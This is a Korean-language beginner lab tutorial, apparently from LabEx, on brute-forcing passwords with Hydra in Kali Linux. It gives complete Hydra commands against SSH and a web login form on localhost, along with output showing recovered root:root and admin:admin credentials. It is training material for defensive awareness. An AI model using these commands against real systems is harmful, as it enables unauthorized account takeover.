Hydra 를 활용한 Kali 비밀번호 공격 실습

Kali LinuxBeginner
지금 연습하기

소개

이 실습에서는 Kali Linux 를 활용하여 화이트해킹의 기초를 배우고, 강력한 무차별 대입 (Brute-force) 공격 도구인 Hydra 를 통해 비밀번호 공격 기법을 탐구합니다. 이번 과정의 핵심은 이러한 공격이 어떻게 이루어지는지 이해하고, 왜 강력한 비밀번호 설정과 보안 시스템 구성이 필수적인지 체득하는 데 있습니다. 통제된 LabEx 가상 머신 환경 내에서 SSH 자격 증명 및 웹 로그인에 대한 공격을 시뮬레이션하며 안전하고 합법적인 공간에서 실습을 진행합니다. 단계별 안내에 따라 워드리스트를 생성하고, 무차별 대입 공격을 실행하며, 분석을 위해 결과를 기록하는 과정을 거치게 됩니다. 모든 작업은 자동으로 구성된 Kali Linux 컨테이너에서 수행되므로 입문자도 어려움 없이 실습에 참여할 수 있습니다.

이 과정은 학습과 실습을 돕기 위해 단계별 지침을 제공하는 가이드 랩입니다. 각 단계를 주의 깊게 따라가며 실무 경험을 쌓으세요. 통계 데이터에 따르면 이 실습은 초급 수준이며, 100%의 수료율과 학습자들로부터 100%의 긍정적인 평가를 기록하고 있습니다.

환경 설정 및 Hydra 설치

첫 번째 단계에서는 Kali Linux 컨테이너 내부의 작업 환경을 준비하고 비밀번호 공격에 사용할 도구인 Hydra 를 설치합니다. 터미널을 열면 자동으로 Kali Linux 컨테이너의 셸에 접속되므로 별도의 수동 설정은 필요하지 않습니다.

먼저, 운영체제 상세 정보를 확인하여 현재 환경이 Kali Linux 인지 확인합니다.

cat /etc/os-release

출력 결과에서 Kali Linux 가 실행 중임을 확인할 수 있습니다.

PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
VERSION_ID="2025.3"
VERSION="2025.3"
VERSION_CODENAME=kali-rolling
ID=kali
ID_LIKE=debian
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
ANSI_COLOR="1;31"

그 다음, 최신 소프트웨어 버전을 가져올 수 있도록 패키지 목록을 업데이트합니다.

apt update

이제 Hydra 를 설치합니다. Hydra 는 수많은 프로토콜을 지원하는 다재다능한 무차별 대입 공격 도구입니다. -y 플래그를 사용하면 설치 확인 질문에 자동으로 동의하게 됩니다.

apt install -y hydra

설치가 완료되면 도움말 메뉴를 호출하여 Hydra 가 준비되었는지 확인합니다.

hydra -h

출력 결과에 Hydra 의 버전과 사용법이 표시되면 정상적으로 설치된 것입니다.

Hydra v9.x (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] ...
...

마지막으로, 환경 설정 중에 미리 구성된 SSH 서비스를 시작합니다. 이 서비스는 무차별 대입 공격 시뮬레이션의 대상이 됩니다.

service ssh start

SSH 서비스의 상태를 확인하여 정상적으로 실행 중인지 점검합니다.

service ssh status

SSH 서비스가 활성화되어 실행 중이라는 메시지가 나타나야 합니다.

sshd is running.

이제 환경 설정을 마치고 Hydra 설치와 공격 시뮬레이션을 위한 SSH 서비스 가동까지 완료했습니다.

무차별 대입 공격을 위한 워드리스트 생성

워드리스트는 Hydra 와 같은 도구가 대상 시스템에 접속을 시도할 때 사용하는 잠재적 비밀번호들이 담긴 텍스트 파일입니다. 이번 단계에서는 시뮬레이션 공격에 사용할 간단한 맞춤형 워드리스트를 직접 만들어 보겠습니다.

nano 텍스트 편집기를 사용하여 passwords.txt라는 파일을 생성할 것입니다.

먼저 nano 편집기를 설치합니다.

apt install -y nano

이제 워드리스트 파일을 생성합니다.

nano passwords.txt

이 명령어를 입력하면 nano 편집기에서 새 파일이 열립니다. 아래의 흔한 비밀번호들을 한 줄에 하나씩 입력하세요.

admin
password
123456
test
root

파일을 저장하려면 Ctrl+O를 누른 뒤 Enter를 눌러 파일 이름을 확정합니다. 편집기를 종료하려면 Ctrl+X를 누르세요.

이제 현재 디렉토리의 파일 목록을 확인하여 파일이 제대로 생성되었는지 확인합니다.

ls

출력 결과에 passwords.txt가 보인다면 다음 단계에서 사용할 워드리스트 준비가 끝난 것입니다.

passwords.txt

SSH 대상 무차별 대입 공격 성공시키기

이제 Hydra 와 방금 만든 워드리스트를 사용하여 로컬 시스템에서 실행 중인 SSH(Secure Shell) 서비스에 무차별 대입 공격을 수행해 보겠습니다. SSH 는 원격 관리를 위해 흔히 사용되는 보안 프로토콜입니다. 환경 설정 과정에서 워드리스트에 포함된 취약한 비밀번호를 가진 SSH 서버를 구성해 두었으므로, 실제 공격이 어떻게 작동하는지 실감 나게 확인할 수 있습니다.

다음 명령어를 실행하여 무차별 대입 공격을 시작합니다.

hydra -l root -P passwords.txt ssh://127.0.0.1

명령어의 각 옵션은 다음과 같은 의미를 가집니다.

  • -l root: 테스트할 단일 사용자 이름을 root로 지정합니다.
  • -P passwords.txt: 비밀번호 소스로 passwords.txt 파일을 사용하도록 지정합니다.
  • ssh://127.0.0.1: 대상 서비스 (SSH) 와 대상 호스트 IP(127.0.0.1) 를 지정합니다.

SSH 서버의 root 사용자 비밀번호를 워드리스트에 있는 root로 설정해 두었기 때문에, Hydra 는 성공적으로 자격 증명을 찾아낼 것입니다.

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:5), ~1 try per task
[DATA] attacking ssh://127.0.0.1:22/
[22][ssh] host: 127.0.0.1   login: root   password: root
1 of 1 target successfully completed, 1 valid password found

축하합니다! 공격에 성공했습니다. Hydra 는 사용자 이름 root와 비밀번호 root가 SSH 서비스에 접근 가능한 유효한 조합임을 찾아냈습니다. 이는 취약한 비밀번호가 무차별 대입 도구에 의해 얼마나 쉽게 뚫릴 수 있는지를 잘 보여줍니다.

웹 로그인 폼 대상 무차별 대입 공격 성공시키기

다음으로 웹 로그인 폼에 대한 공격을 수행해 보겠습니다. 웹 로그인은 무차별 대입 공격의 또 다른 흔한 표적입니다. 실습 환경에는 admin:admin 자격 증명을 허용하는 취약한 로그인 페이지가 포함된 간단한 Apache 웹 서버가 구성되어 있습니다.

먼저 웹 서버가 실행 중인지 확인하기 위해 서버를 시작합니다.

service apache2 start

이제 다음 명령어를 실행하여 웹 로그인 공격을 시도합니다.

hydra -l admin -P passwords.txt http-post-form://127.0.0.1/login.php:'user=^USER^&pass=^PASS^:F=Incorrect'

이 명령어의 구성 요소를 살펴보겠습니다.

  • -l admin: 사용자 이름을 admin으로 지정합니다.
  • -P passwords.txt: 생성한 비밀번호 워드리스트를 사용합니다.
  • http-post-form://127.0.0.1/login.php: 대상 프로토콜과 생성된 실제 로그인 페이지 경로를 지정합니다.
  • 'user=^USER^&pass=^PASS^:F=Incorrect': 웹 공격 모듈의 핵심 설정입니다.
    • user=^USER^&pass=^PASS^: 폼 필드를 정의합니다. Hydra 는 ^USER^^PASS^를 테스트 중인 자격 증명으로 치환합니다.
    • :F=Incorrect: 서버 응답에서 "Incorrect"라는 단어가 발견되면 로그인 시도가 실패한 것으로 간주하도록 Hydra 에게 알립니다.

웹 애플리케이션이 워드리스트에 있는 admin:admin을 수락하도록 설정되어 있으므로, Hydra 는 성공적으로 자격 증명을 찾아냅니다.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-02 01:33:09
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:5), ~1 try per task
[DATA] attacking http-post-form://127.0.0.1:80/login.php:user=^USER^&pass=^PASS^:F=Incorrect
[80][http-post-form] host: 127.0.0.1   login: admin   password: admin
1 of 1 target successfully completed, 1 valid password found

훌륭합니다! 웹 공격도 성공했습니다. 이를 통해 Hydra 가 취약한 로그인 폼을 가진 웹 애플리케이션을 포함하여 다양한 서비스에 맞춰 어떻게 활용될 수 있는지 확인했습니다.

무차별 대입 공격 결과 기록하기

마지막 단계에서는 성공적인 Hydra 공격 출력을 파일로 기록하는 방법을 배웁니다. 로깅 (Logging) 은 모의 해킹이나 보안 감사 중에 발견한 내용을 문서화하는 데 매우 중요한 습관입니다.

3 단계에서 수행했던 SSH 공격을 다시 실행하되, 이번에는 결과를 파일에 저장해 보겠습니다.

hydra -l root -P passwords.txt ssh://127.0.0.1 -o attack_log.txt

새롭게 추가된 옵션은 다음과 같습니다.

  • -o attack_log.txt: Hydra 의 출력 결과를 지정된 파일인 attack_log.txt에 저장하도록 지시합니다.

명령어가 실행되면 화면에 공격 성공 결과가 표시됨과 동시에 상세한 로그 파일이 생성됩니다.

로그 파일의 내용을 확인하려면 cat 명령어를 사용합니다.

cat attack_log.txt

로그 파일에는 발견된 자격 증명을 포함하여 성공적인 공격 실행에 대한 요약 정보가 담겨 있습니다.

## Hydra v9.x run at 2025-09-02 01:33:36 on 127.0.0.1 ssh (hydra -l root -P passwords.txt -o attack_log.txt ssh://127.0.0.1)
[22][ssh] host: 127.0.0.1   login: root   password: root

완벽합니다! 로그 파일에 Hydra 가 SSH 서비스의 자격 증명인 root:root를 성공적으로 찾아냈음이 명확히 기록되었습니다. 이러한 상세 로깅은 다음과 같은 목적으로 필수적입니다.

  1. 문서화: 성공적인 모의 해킹 기록 유지
  2. 보고: 고객이나 경영진에게 증거 제공
  3. 분석: 공격 패턴 및 성공률 검토
  4. 컴플라이언스: 보안 감사 요구 사항 충족

이제 Hydra 공격 결과를 저장하는 방법을 익혔으며, 이는 화이트해킹에서 성공적인 자격 증명 발견과 적절한 문서화 절차를 모두 수행할 수 있음을 의미합니다.

요약

이 실습을 통해 Kali Linux 컨테이너에서 Hydra 를 사용하여 실제 비밀번호 공격을 수행함으로써 화이트해킹의 기초를 성공적으로 학습했습니다. Hydra 를 설치하고 취약한 서비스 (SSH 및 웹 서버) 를 설정하는 것으로 시작하여, 취약한 비밀번호가 포함된 맞춤형 워드리스트를 직접 제작해 보았습니다. 실무 경험을 통해 SSH 자격 증명과 웹 로그인 폼 모두에 대해 무차별 대입 공격을 성공적으로 실행했으며, 취약한 비밀번호가 얼마나 신속하게 노출될 수 있는지 직접 목격했습니다. 마지막으로, 적절한 문서화와 분석을 위해 공격 결과를 기록하는 방법까지 익혔습니다.

이번 실습의 핵심 요약은 다음과 같습니다.

  1. 취약한 비밀번호는 쉽게 뚫린다 - root:rootadmin:admin 조합은 매우 빠르게 발견되었습니다.
  2. 다양한 공격 경로가 존재한다 - SSH 서비스와 웹 애플리케이션은 공격자의 흔한 표적입니다.
  3. 적절한 문서화가 중요하다 - 결과 로깅은 모의 해킹 업무의 필수 요소입니다.
  4. 방어 의식 고취 - 공격 방식을 이해함으로써 더 나은 보안 조치를 구현할 수 있습니다.

이러한 실무 기술은 무차별 대입 공격의 실제 메커니즘을 이해하는 탄탄한 기초가 되며, 이러한 공격으로부터 시스템을 방어하기 위해 강력한 비밀번호 설정, 계정 잠금 정책, 보안 시스템 구성이 얼마나 중요한지 다시 한번 일깨워 줍니다.